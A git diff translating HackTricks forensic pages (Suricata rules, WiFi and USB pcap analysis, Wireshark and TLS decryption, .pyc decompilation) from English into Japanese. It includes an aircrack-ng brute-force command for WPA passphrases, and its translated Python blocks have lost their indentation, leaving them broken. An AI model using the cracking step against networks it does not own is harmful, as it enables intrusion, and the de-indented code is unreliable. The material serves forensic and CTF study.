意味 | +| ------------------------------ | ----------------------------------------- | +| ! 1.1.1.1 | 1.1.1.1以外のすべてのIPアドレス | +| !\[1.1.1.1, 1.1.1.2] | 1.1.1.1および1.1.1.2以外のすべてのIPアドレス | +| $HOME_NET | yamlでのHOME_NETの設定 | +| \[$EXTERNAL\_NET, !$HOME_NET] | EXTERNAL_NETおよびHOME_NETではない | +| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24、10.0.0.5を除く | -#### Source and Destination Ports +#### ソースおよび宛先ポート -It supports port ranges, negations and lists of ports +ポート範囲、否定、およびポートのリストをサポートしています -| Example | Meaning | -| --------------- | -------------------------------------- | -| any | any address | -| \[80, 81, 82] | port 80, 81 and 82 | -| \[80: 82] | Range from 80 till 82 | -| \[1024: ] | From 1024 till the highest port-number | -| !80 | Every port but 80 | -| \[80:100,!99] | Range from 80 till 100 but 99 excluded | -| \[1:80,!\[2,4]] | Range from 1-80, except ports 2 and 4 | +| 例 | 意味 | +| ---------------- | --------------------------------------- | +| any | すべてのアドレス | +| \[80, 81, 82] | ポート80、81、および82 | +| \[80: 82] | 80から82までの範囲 | +| \[1024: ] | 1024から最高ポート番号まで | +| !80 | 80以外のすべてのポート | +| \[80:100,!99] | 80から100までの範囲、99を除外 | +| \[1:80,!\[2,4]] | 1から80までの範囲、ポート2と4を除外 | -#### Direction - -It's possible to indicate the direction of the communication rule being applied: +#### 方向 +適用される通信ルールの方向を示すことが可能です: ``` source -> destination source <> destination (both directions) ``` +#### キーワード -#### Keywords - -There are **hundreds of options** available in Suricata to search for the **specific packet** you are looking for, here it will be mentioned if something interesting is found. Check the [**documentation** ](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html)for more! - +Suricataには、探している**特定のパケット**を検索するための**数百のオプション**があります。興味深いものが見つかった場合はここに記載されます。詳細については[**ドキュメント**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html)を確認してください! ```bash # Meta Keywords msg: "description"; #Set a description to the rule @@ -230,5 +221,4 @@ drop tcp any any -> any any (msg:"regex"; pcre:"/CTF\{[\w]{3}/i"; sid:10001;) ## Drop by port drop tcp any any -> any 8000 (msg:"8000 port"; sid:1000;) ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md index 782e405aa..1960f694f 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md @@ -2,18 +2,16 @@ {{#include ../../../banners/hacktricks-training.md}} -If you have a pcap containing the communication via USB of a keyboard like the following one: +USB経由でのキーボードの通信を含むpcapがある場合、次のようなものです: ![](<../../../images/image (962).png>) -You can use the tool [**ctf-usb-keyboard-parser**](https://github.com/TeamRocketIst/ctf-usb-keyboard-parser) to get what was written in the communication: - +ツール[**ctf-usb-keyboard-parser**](https://github.com/TeamRocketIst/ctf-usb-keyboard-parser)を使用して、通信で書かれた内容を取得できます: ```bash tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt python3 usbkeyboard.py ./keystrokes.txt ``` - -You can read more information and find some scripts about how to analyse this in: +この分析方法についての詳細情報やスクリプトは、以下のリンクで読むことができます: - [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) - [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md index f1371d5fa..e7b2e7b45 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md @@ -4,7 +4,7 @@ ## Check BSSIDs -When you receive a capture whose principal traffic is Wifi using WireShark you can start investigating all the SSIDs of the capture with _Wireless --> WLAN Traffic_: +WireSharkを使用してWifiの主要なトラフィックを含むキャプチャを受信した場合、_Wireless --> WLAN Traffic_を使用してキャプチャのすべてのSSIDを調査し始めることができます: ![](<../../../images/image (106).png>) @@ -12,29 +12,27 @@ When you receive a capture whose principal traffic is Wifi using WireShark you c ### Brute Force -One of the columns of that screen indicates if **any authentication was found inside the pcap**. If that is the case you can try to Brute force it using `aircrack-ng`: - +その画面の列の1つは、**pcap内に認証が見つかったかどうか**を示しています。もしそうであれば、`aircrack-ng`を使用してブルートフォースを試みることができます: ```bash aircrack-ng -w pwds-file.txt -b file.pcap ``` +例えば、PSK(事前共有キー)を保護するWPAパスフレーズを取得し、後でトラフィックを復号化するために必要です。 -For example it will retrieve the WPA passphrase protecting a PSK (pre shared-key), that will be required to decrypt the trafic later. +## ビーコン / サイドチャネルのデータ -## Data in Beacons / Side Channel +**Wifiネットワークのビーコン内でデータが漏洩していると疑う場合**、次のようなフィルターを使用してネットワークのビーコンを確認できます: `wlan contains `、または `wlan.ssid == "NAMEofNETWORK"` でフィルタリングされたパケット内で疑わしい文字列を検索します。 -If you suspect that **data is being leaked inside beacons of a Wifi network** you can check the beacons of the network using a filter like the following one: `wlan contains `, or `wlan.ssid == "NAMEofNETWORK"` search inside the filtered packets for suspicious strings. +## Wifiネットワーク内の未知のMACアドレスを見つける -## Find Unknown MAC Addresses in A Wifi Network - -The following link will be useful to find the **machines sending data inside a Wifi Network**: +次のリンクは、**Wifiネットワーク内でデータを送信しているマシンを見つける**のに役立ちます: - `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` -If you already know **MAC addresses you can remove them from the output** adding checks like this one: `&& !(wlan.addr==5c:51:88:31:a0:3b)` +**MACアドレスをすでに知っている場合は、出力からそれらを削除できます**。次のようなチェックを追加します: `&& !(wlan.addr==5c:51:88:31:a0:3b)` -Once you have detected **unknown MAC** addresses communicating inside the network you can use **filters** like the following one: `wlan.addr== && (ftp || http || ssh || telnet)` to filter its traffic. Note that ftp/http/ssh/telnet filters are useful if you have decrypted the traffic. +ネットワーク内で通信している**未知のMAC**アドレスを検出したら、次のような**フィルター**を使用できます: `wlan.addr== && (ftp || http || ssh || telnet)` でそのトラフィックをフィルタリングします。ftp/http/ssh/telnetフィルターは、トラフィックを復号化している場合に便利です。 -## Decrypt Traffic +## トラフィックの復号化 Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md index 6565bd680..a771d0a8f 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md @@ -1,157 +1,155 @@ -# Wireshark tricks +# Wiresharkのトリック {{#include ../../../banners/hacktricks-training.md}} -## Improve your Wireshark skills +## Wiresharkスキルの向上 -### Tutorials +### チュートリアル -The following tutorials are amazing to learn some cool basic tricks: +以下のチュートリアルは、いくつかのクールな基本的なトリックを学ぶのに素晴らしいです: - [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/) - [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/) - [https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/](https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/) - [https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/](https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/) -### Analysed Information +### 分析された情報 -**Expert Information** +**エキスパート情報** -Clicking on _**Analyze** --> **Expert Information**_ you will have an **overview** of what is happening in the packets **analyzed**: +_**Analyze** --> **Expert Information**_をクリックすると、**分析された**パケットで何が起こっているかの**概要**が得られます: ![](<../../../images/image (256).png>) -**Resolved Addresses** +**解決されたアドレス** -Under _**Statistics --> Resolved Addresses**_ you can find several **information** that was "**resolved**" by wireshark like port/transport to protocol, MAC to the manufacturer, etc. It is interesting to know what is implicated in the communication. +_**Statistics --> Resolved Addresses**_の下には、wiresharkによって「**解決された**」いくつかの**情報**(ポート/トランスポートからプロトコル、MACから製造元など)を見つけることができます。通信に何が関与しているかを知るのは興味深いです。 ![](<../../../images/image (893).png>) -**Protocol Hierarchy** +**プロトコル階層** -Under _**Statistics --> Protocol Hierarchy**_ you can find the **protocols** **involved** in the communication and data about them. +_**Statistics --> Protocol Hierarchy**_の下には、通信に関与する**プロトコル**とそれに関するデータを見つけることができます。 ![](<../../../images/image (586).png>) -**Conversations** +**会話** -Under _**Statistics --> Conversations**_ you can find a **summary of the conversations** in the communication and data about them. +_**Statistics --> Conversations**_の下には、通信の**会話の要約**とそれに関するデータを見つけることができます。 ![](<../../../images/image (453).png>) -**Endpoints** +**エンドポイント** -Under _**Statistics --> Endpoints**_ you can find a **summary of the endpoints** in the communication and data about each of them. +_**Statistics --> Endpoints**_の下には、通信の**エンドポイントの要約**とそれぞれに関するデータを見つけることができます。 ![](<../../../images/image (896).png>) -**DNS info** +**DNS情報** -Under _**Statistics --> DNS**_ you can find statistics about the DNS request captured. +_**Statistics --> DNS**_の下には、キャプチャされたDNSリクエストに関する統計を見つけることができます。 ![](<../../../images/image (1063).png>) -**I/O Graph** +**I/Oグラフ** -Under _**Statistics --> I/O Graph**_ you can find a **graph of the communication.** +_**Statistics --> I/O Graph**_の下には、**通信のグラフ**を見つけることができます。 ![](<../../../images/image (992).png>) -### Filters +### フィルター -Here you can find wireshark filter depending on the protocol: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ -Other interesting filters: +ここでは、プロトコルに応じたwiresharkフィルターを見つけることができます:[https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ +他の興味深いフィルター: - `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)` - - HTTP and initial HTTPS traffic +- HTTPおよび初期HTTPSトラフィック - `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)` - - HTTP and initial HTTPS traffic + TCP SYN +- HTTPおよび初期HTTPSトラフィック + TCP SYN - `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)` - - HTTP and initial HTTPS traffic + TCP SYN + DNS requests +- HTTPおよび初期HTTPSトラフィック + TCP SYN + DNSリクエスト -### Search +### 検索 -If you want to **search** for **content** inside the **packets** of the sessions press _CTRL+f_. You can add new layers to the main information bar (No., Time, Source, etc.) by pressing the right button and then the edit column. +セッションの**パケット**内の**コンテンツ**を**検索**したい場合は、_CTRL+f_を押します。右ボタンを押してから列を編集することで、メイン情報バー(No.、Time、Sourceなど)に新しいレイヤーを追加できます。 -### Free pcap labs +### 無料のpcapラボ -**Practice with the free challenges of:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net) +**無料のチャレンジで練習する:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net) -## Identifying Domains +## ドメインの特定 -You can add a column that shows the Host HTTP header: +Host HTTPヘッダーを表示する列を追加できます: ![](<../../../images/image (639).png>) -And a column that add the Server name from an initiating HTTPS connection (**ssl.handshake.type == 1**): +そして、開始HTTPS接続からサーバー名を追加する列(**ssl.handshake.type == 1**): ![](<../../../images/image (408) (1).png>) -## Identifying local hostnames +## ローカルホスト名の特定 -### From DHCP +### DHCPから -In current Wireshark instead of `bootp` you need to search for `DHCP` +現在のWiresharkでは、`bootp`の代わりに`DHCP`を検索する必要があります。 ![](<../../../images/image (1013).png>) -### From NBNS +### NBNSから ![](<../../../images/image (1003).png>) -## Decrypting TLS +## TLSの復号化 -### Decrypting https traffic with server private key +### サーバーの秘密鍵を使用したhttpsトラフィックの復号化 _edit>preference>protocol>ssl>_ ![](<../../../images/image (1103).png>) -Press _Edit_ and add all the data of the server and the private key (_IP, Port, Protocol, Key file and password_) +_サーバーと秘密鍵のすべてのデータ(_IP、Port、Protocol、Key file、password_)を追加するために_編集_を押します。 -### Decrypting https traffic with symmetric session keys +### 対称セッションキーを使用したhttpsトラフィックの復号化 -Both Firefox and Chrome have the capability to log TLS session keys, which can be used with Wireshark to decrypt TLS traffic. This allows for in-depth analysis of secure communications. More details on how to perform this decryption can be found in a guide at [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/). +FirefoxとChromeの両方は、TLSセッションキーをログに記録する機能があり、これを使用してWiresharkでTLSトラフィックを復号化できます。これにより、安全な通信の詳細な分析が可能になります。この復号化を実行する方法の詳細は、[Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/)のガイドにあります。 -To detect this search inside the environment for to variable `SSLKEYLOGFILE` +これを検出するには、環境内で変数`SSLKEYLOGFILE`を検索します。 -A file of shared keys will look like this: +共有キーのファイルは次のようになります: ![](<../../../images/image (820).png>) -To import this in wireshark go to \_edit > preference > protocol > ssl > and import it in (Pre)-Master-Secret log filename: +これをwiresharkにインポートするには、_edit > preference > protocol > ssl >_に移動し、(Pre)-Master-Secretログファイル名にインポートします: ![](<../../../images/image (989).png>) -## ADB communication - -Extract an APK from an ADB communication where the APK was sent: +## ADB通信 +APKが送信されたADB通信からAPKを抽出します: ```python from scapy.all import * pcap = rdpcap("final2.pcapng") def rm_data(data): - splitted = data.split(b"DATA") - if len(splitted) == 1: - return data - else: - return splitted[0]+splitted[1][4:] +splitted = data.split(b"DATA") +if len(splitted) == 1: +return data +else: +return splitted[0]+splitted[1][4:] all_bytes = b"" for pkt in pcap: - if Raw in pkt: - a = pkt[Raw] - if b"WRTE" == bytes(a)[:4]: - all_bytes += rm_data(bytes(a)[24:]) - else: - all_bytes += rm_data(bytes(a)) +if Raw in pkt: +a = pkt[Raw] +if b"WRTE" == bytes(a)[:4]: +all_bytes += rm_data(bytes(a)[24:]) +else: +all_bytes += rm_data(bytes(a)) print(all_bytes) f = open('all_bytes.data', 'w+b') f.write(all_bytes) f.close() ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md index ec397e99a..19cec622c 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md @@ -1,77 +1,61 @@ -# Decompile compiled python binaries (exe, elf) - Retreive from .pyc +# コンパイルされたPythonバイナリ(exe、elf)を逆コンパイルする - .pycから取得 {{#include ../../../banners/hacktricks-training.md}} -
-**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -## From Compiled Binary to .pyc - -From an **ELF** compiled binary you can **get the .pyc** with: +## コンパイルされたバイナリから.pycへ +**ELF**コンパイルバイナリから**.pycを取得**することができます: ```bash pyi-archive_viewer # The list of python modules will be given here: [(0, 230, 311, 1, 'm', 'struct'), - (230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), - (1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), - (5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), - (10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), - (12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), - (13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), - (13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), - (15090, 445, 672, 1, 's', 'pyi_rth_inspect'), - (15535, 2514, 4421, 1, 's', 'binary_name'), +(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), +(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), +(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), +(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), +(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), +(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), +(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), +(15090, 445, 672, 1, 's', 'pyi_rth_inspect'), +(15535, 2514, 4421, 1, 's', 'binary_name'), ... ? X binary_name to filename? /tmp/binary.pyc ``` - -In a **python exe binary** compiled you can **get the .pyc** by running: - +**python exe バイナリ** でコンパイルされた場合、次のコマンドを実行することで **.pyc** を取得できます: ```bash python pyinstxtractor.py executable.exe ``` +## .pycからPythonコードへ -## From .pyc to python code - -For the **.pyc** data ("compiled" python) you should start trying to **extract** the **original** **python** **code**: - +**.pyc**データ("コンパイル済み" Python)については、**元の** **Python** **コード**を**抽出**しようとすることから始めるべきです: ```bash uncompyle6 binary.pyc > decompiled.py ``` +**必ず**バイナリが**拡張子**"**.pyc**"を持っていることを確認してください(そうでない場合、uncompyle6は機能しません) -**Be sure** that the binary has the **extension** "**.pyc**" (if not, uncompyle6 is not going to work) - -While executing **uncompyle6** you might find the **following errors**: - -### Error: Unknown magic number 227 +**uncompyle6**を実行していると、**以下のエラー**が発生することがあります: +### エラー: 不明なマジックナンバー 227 ```bash /kali/.local/bin/uncompyle6 /tmp/binary.pyc Unknown magic number 227 in /tmp/binary.pyc ``` +これを修正するには、生成されたファイルの先頭に**正しいマジックナンバー**を**追加する**必要があります。 -To fix this you need to **add the correct magic number** at the beginning of the generated file. - -**Magic numbers vary with the python version**, to get the magic number of **python 3.8** you will need to **open a python 3.8** terminal and execute: - +**マジックナンバーはPythonのバージョンによって異なります**。**Python 3.8**のマジックナンバーを取得するには、**Python 3.8**のターミナルを**開いて実行する**必要があります: ``` >> import imp >> imp.get_magic().hex() '550d0d0a' ``` +この場合のpython3.8の**マジックナンバー**は**`0x550d0d0a`**です。次に、このエラーを修正するには、**.pycファイル**の**先頭**に次のバイトを**追加**する必要があります: `0x0d550a0d000000000000000000000000` -The **magic number** in this case for python3.8 is **`0x550d0d0a`**, then, to fix this error you will need to **add** at the **beginning** of the **.pyc file** the following bytes: `0x0d550a0d000000000000000000000000` - -**Once** you have **added** that magic header, the **error should be fixed.** - -This is how a correctly added **.pyc python3.8 magic header** will look like: +**その後**、そのマジックヘッダーを**追加**すると、**エラーは修正されるはずです。** +正しく追加された**.pyc python3.8マジックヘッダー**は次のようになります: ```bash hexdump 'binary.pyc' | head 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 @@ -79,25 +63,23 @@ hexdump 'binary.pyc' | head 0000020 0700 0000 4000 0000 7300 0132 0000 0064 0000030 0164 006c 005a 0064 0164 016c 015a 0064 ``` +### エラー: ジェネリックエラーのデコンパイル -### Error: Decompiling generic errors +**他のエラー**として: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` が表示されることがあります。 -**Other errors** like: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` may appear. +これはおそらく、**マジックナンバーを正しく追加していない**か、**正しいマジックナンバーを使用していない**ことを意味しますので、**正しいものを使用していることを確認してください**(または新しいものを試してください)。 -This probably means that you **haven't added correctly** the magic number or that you haven't **used** the **correct magic number**, so make **sure you use the correct one** (or try a new one). +前のエラーのドキュメントを確認してください。 -Check the previous error documentation. +## 自動ツール -## Automatic Tool +[**python-exe-unpackerツール**](https://github.com/countercept/python-exe-unpacker)は、Pythonで書かれた実行可能ファイルのアンパックとデコンパイルを支援するために設計された、いくつかのコミュニティで利用可能なツールの組み合わせとして機能します。特に、py2exeおよびpyinstallerで作成されたものに対応しています。Pythonベースの実行可能ファイルを特定し、作成ツールを確認するためのYARAルールが含まれています。 -The [**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker) serves as a combination of several community-available tools designed to assist researchers in unpacking and decompiling executables written in Python, specifically those created with py2exe and pyinstaller. It includes YARA rules to identify if an executable is Python-based and confirms the creation tool. +### ImportError: ファイル名: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' が存在しません -### ImportError: File name: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' doesn't exist - -A common issue encountered involves an incomplete Python bytecode file resulting from the **unpacking process with unpy2exe or pyinstxtractor**, which then **fails to be recognized by uncompyle6 due to a missing Python bytecode version number**. To address this, a prepend option has been added, which appends the necessary Python bytecode version number, facilitating the decompiling process. - -Example of the issue: +一般的な問題は、**unpy2exeまたはpyinstxtractorを使用したアンパックプロセス**の結果として不完全なPythonバイトコードファイルが発生し、その後**Pythonバイトコードバージョン番号が欠落しているためにuncompyle6によって認識されない**ことです。これに対処するために、必要なPythonバイトコードバージョン番号を追加するprependオプションが追加され、デコンパイルプロセスを容易にします。 +問題の例: ```python # Error when attempting to decompile without the prepend option test@test: uncompyle6 unpacked/malware_3.exe/archive.py @@ -115,11 +97,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive # Successfully decompiled file [+] Successfully decompiled. ``` +## Pythonアセンブリの分析 -## Analyzing python assembly - -If you weren't able to extract the python "original" code following the previous steps, then you can try to **extract** the **assembly** (but i**t isn't very descriptive**, so **try** to extract **again** the original code).In [here](https://bits.theorem.co/protecting-a-python-codebase/) I found a very simple code to **disassemble** the _.pyc_ binary (good luck understanding the code flow). If the _.pyc_ is from python2, use python2: - +前のステップに従ってpythonの「オリジナル」コードを抽出できなかった場合は、**アセンブリ**を**抽出**してみてください(ただし、**あまり説明的ではありません**ので、**再度**オリジナルコードを抽出してみてください)。[ここ](https://bits.theorem.co/protecting-a-python-codebase/)で、_.pyc_ バイナリを**逆アセンブル**するための非常にシンプルなコードを見つけました(コードフローを理解するのは大変かもしれません)。_.pyc_ がpython2の場合は、python2を使用してください: ```bash >>> import dis >>> import marshal @@ -145,34 +125,32 @@ True >>> >>> # Disassemble the code object >>> dis.disassemble(code) - 1 0 LOAD_CONST 0 () - 3 MAKE_FUNCTION 0 - 6 STORE_NAME 0 (hello_world) - 9 LOAD_CONST 1 (None) - 12 RETURN_VALUE +1 0 LOAD_CONST 0 () +3 MAKE_FUNCTION 0 +6 STORE_NAME 0 (hello_world) +9 LOAD_CONST 1 (None) +12 RETURN_VALUE >>> >>> # Also disassemble that const being loaded (our function) >>> dis.disassemble(code.co_consts[0]) - 2 0 LOAD_CONST 1 ('Hello {0}') - 3 LOAD_ATTR 0 (format) - 6 LOAD_FAST 0 (name) - 9 CALL_FUNCTION 1 - 12 PRINT_ITEM - 13 PRINT_NEWLINE - 14 LOAD_CONST 0 (None) - 17 RETURN_VALUE +2 0 LOAD_CONST 1 ('Hello {0}') +3 LOAD_ATTR 0 (format) +6 LOAD_FAST 0 (name) +9 CALL_FUNCTION 1 +12 PRINT_ITEM +13 PRINT_NEWLINE +14 LOAD_CONST 0 (None) +17 RETURN_VALUE ``` +## Pythonを実行可能ファイルに変換する -## Python to Executable +まず、payloadがpy2exeとPyInstallerでどのようにコンパイルされるかを示します。 -To start, we’re going to show you how payloads can be compiled in py2exe and PyInstaller. - -### To create a payload using py2exe: - -1. Install the py2exe package from [http://www.py2exe.org/](http://www.py2exe.org) -2. For the payload (in this case, we will name it hello.py), use a script like the one in Figure 1. The option “bundle_files” with the value of 1 will bundle everything including the Python interpreter into one exe. -3. Once the script is ready, we will issue the command “python setup.py py2exe”. This will create the executable, just like in Figure 2. +### py2exeを使用してpayloadを作成するには: +1. [http://www.py2exe.org/](http://www.py2exe.org) からpy2exeパッケージをインストールします。 +2. payload(この場合、hello.pyと名付けます)には、図1のようなスクリプトを使用します。オプション「bundle_files」の値を1に設定すると、Pythonインタプリタを含むすべてが1つのexeにバンドルされます。 +3. スクリプトが準備できたら、「python setup.py py2exe」というコマンドを発行します。これにより、図2のように実行可能ファイルが作成されます。 ```python from distutils.core import setup import py2exe, sys, os @@ -180,10 +158,10 @@ import py2exe, sys, os sys.argv.append('py2exe') setup( - options = {'py2exe': {'bundle_files': 1}}, - #windows = [{'script': "hello.py"}], - console = [{'script': "hello.py"}], - zipfile = None, +options = {'py2exe': {'bundle_files': 1}}, +#windows = [{'script': "hello.py"}], +console = [{'script': "hello.py"}], +zipfile = None, ) ``` @@ -200,12 +178,10 @@ running py2exe copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe ``` +### PyInstallerを使用してペイロードを作成するには: -### To create a payload using PyInstaller: - -1. Install PyInstaller using pip (pip install pyinstaller). -2. After that, we will issue the command “pyinstaller –onefile hello.py” (a reminder that ‘hello.py’ is our payload). This will bundle everything into one executable. - +1. pipを使用してPyInstallerをインストールします(pip install pyinstaller)。 +2. その後、「pyinstaller –onefile hello.py」というコマンドを発行します(‘hello.py’は私たちのペイロードです)。これにより、すべてが1つの実行可能ファイルにバンドルされます。 ``` C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 108 INFO: PyInstaller: 3.3.1 @@ -218,15 +194,9 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe 6325 INFO: Building EXE from out00-EXE.toc completed successfully. ``` - -## References +## 参考文献 - [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/) -
- -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md index 76fa3ef23..1071edf26 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md @@ -1,6 +1,6 @@ {{#include ../../../banners/hacktricks-training.md}} -Here you can find interesting tricks for specific file-types and/or software: +ここでは、特定のファイルタイプやソフトウェアに関する興味深いトリックを見つけることができます: {{#ref}} .pyc.md diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index 104a7530f..e263515e9 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -1,139 +1,129 @@ -# Browser Artifacts +# ブラウザのアーティファクト {{#include ../../../banners/hacktricks-training.md}} -
+## ブラウザのアーティファクト -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +ブラウザのアーティファクトには、ナビゲーション履歴、ブックマーク、キャッシュデータなど、ウェブブラウザによって保存されるさまざまな種類のデータが含まれます。これらのアーティファクトは、オペレーティングシステム内の特定のフォルダーに保存され、ブラウザごとに場所や名前が異なりますが、一般的には同様のデータタイプを保存しています。 -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %} +最も一般的なブラウザのアーティファクトの概要は次のとおりです: -## Browsers Artifacts - -Browser artifacts include various types of data stored by web browsers, such as navigation history, bookmarks, and cache data. These artifacts are kept in specific folders within the operating system, differing in location and name across browsers, yet generally storing similar data types. - -Here's a summary of the most common browser artifacts: - -- **Navigation History**: Tracks user visits to websites, useful for identifying visits to malicious sites. -- **Autocomplete Data**: Suggestions based on frequent searches, offering insights when combined with navigation history. -- **Bookmarks**: Sites saved by the user for quick access. -- **Extensions and Add-ons**: Browser extensions or add-ons installed by the user. -- **Cache**: Stores web content (e.g., images, JavaScript files) to improve website loading times, valuable for forensic analysis. -- **Logins**: Stored login credentials. -- **Favicons**: Icons associated with websites, appearing in tabs and bookmarks, useful for additional information on user visits. -- **Browser Sessions**: Data related to open browser sessions. -- **Downloads**: Records of files downloaded through the browser. -- **Form Data**: Information entered in web forms, saved for future autofill suggestions. -- **Thumbnails**: Preview images of websites. -- **Custom Dictionary.txt**: Words added by the user to the browser's dictionary. +- **ナビゲーション履歴**: ユーザーが訪れたウェブサイトを追跡し、悪意のあるサイトへの訪問を特定するのに役立ちます。 +- **オートコンプリートデータ**: 頻繁な検索に基づく提案で、ナビゲーション履歴と組み合わせることで洞察を提供します。 +- **ブックマーク**: ユーザーが迅速にアクセスするために保存したサイト。 +- **拡張機能とアドオン**: 